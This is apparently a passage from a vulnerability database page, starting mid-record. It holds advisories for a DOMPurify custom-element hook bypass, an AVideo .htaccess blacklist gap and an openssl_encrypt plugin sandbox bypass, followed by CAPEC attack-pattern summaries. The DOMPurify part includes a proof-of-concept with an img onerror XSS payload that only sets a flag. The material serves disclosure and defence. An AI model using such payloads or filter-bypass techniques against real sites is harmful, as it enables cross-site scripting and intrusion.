becomes executable only after x-bio writes data-bio into innerHTML.\\n\\n\" +\n \"control: \" + cleanControl + \"\\n\" +\n \"candidate: \" + cleanCandidate + \"\\n\" +\n \"after connectedCallback: \" + container.innerHTML + \"\\n\" +\n \"control fired: \" + window.__controlFired + \"\\n\" +\n \"candidate fired: \" + window.__candidateFired;\n}, 100);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Expected result\n\n```\ncontrol: \u003cdiv\u003e\u003c/div\u003e\ncandidate: \u003cx-bio data-bio=\"\u003cimg src=x onerror=window.__candidateFired=true\u003e\"\u003e\u003c/x-bio\u003e\nafter connectedCallback: \u003cx-bio data-bio=\"...\"\u003e\u003cimg src=\"x\" onerror=\"window.__candidateFired=true\"\u003e\u003c/x-bio\u003e\ncontrol fired: false\ncandidate fired: true\n```\n\nThis is output of HTML PoC.\n\n\u003cimg width=\"1917\" height=\"961\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10\" /\u003e\n\n\n## Impact\n\nThis does not appear to affect DOMPurify\u2019s default configuration as a direct sanitizer bypass.\n\nThe impact is limited to applications that:\n\n- enable `CUSTOM_ELEMENT_HANDLING`,\n- rely on `afterSanitizeElements` as a security policy layer,\n- expect that hook to apply uniformly to all surviving elements,\n- and have allowed custom elements that later re-inject preserved attribute values into `innerHTML` or another HTML sink.\n\nIn that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.\n\nPossible fixes or mitigations might include\n\n- ensuring that allowed custom elements also consistently pass through `afterSanitizeElements`\n- documenting clearly that elements preserved via `CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element hook flow as normal allowlisted elements.",
"id": "GHSA-c2j3-45gr-mqc4",
"modified": "2026-07-21T19:41:07Z",
"published": "2026-07-21T19:41:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/pull/1537"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements."
}
GHSA-C3RQ-2H7J-M68M
Vulnerability from github – Published: 2025-07-24 18:33 – Updated: 2025-11-03 21:34An incomplete blacklist exists in the .htaccess sample of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to a arbitrary code execution. An attacker can request a .phar file to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2025-48732"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-24T16:15:32Z",
"severity": "HIGH"
},
"details": "An incomplete blacklist exists in the .htaccess sample of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to a arbitrary code execution. An attacker can request a .phar file to trigger this vulnerability.",
"id": "GHSA-c3rq-2h7j-m68m",
"modified": "2025-11-03T21:34:11Z",
"published": "2025-07-24T18:33:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48732"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2213"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2213"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-C7VW-VFXJ-3MVH
Vulnerability from github – Published: 2026-08-17 12:32 – Updated: 2026-08-17 12:32openssl_encrypt versions before 1.4.0 contain a plugin sandbox bypass vulnerability where the PluginImportGuard blocks a different set of modules than the AST analyzer's DANGEROUS_MODULES set. Attackers can bypass AST analysis through string obfuscation or encoding to import unblocked dangerous modules like sys, shutil, multiprocessing, importlib, and pickle for arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2026-74886"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-17T11:16:43Z",
"severity": "CRITICAL"
},
"details": "openssl_encrypt versions before 1.4.0 contain a plugin sandbox bypass vulnerability where the PluginImportGuard blocks a different set of modules than the AST analyzer\u0027s DANGEROUS_MODULES set. Attackers can bypass AST analysis through string obfuscation or encoding to import unblocked dangerous modules like sys, shutil, multiprocessing, importlib, and pickle for arbitrary code execution.",
"id": "GHSA-c7vw-vfxj-3mvh",
"modified": "2026-08-17T12:32:25Z",
"published": "2026-08-17T12:32:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-9pgj-v69p-q586"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74886"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-plugin-import-guard-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Strategy: Input Validation
Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-182: Flash Injection
An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.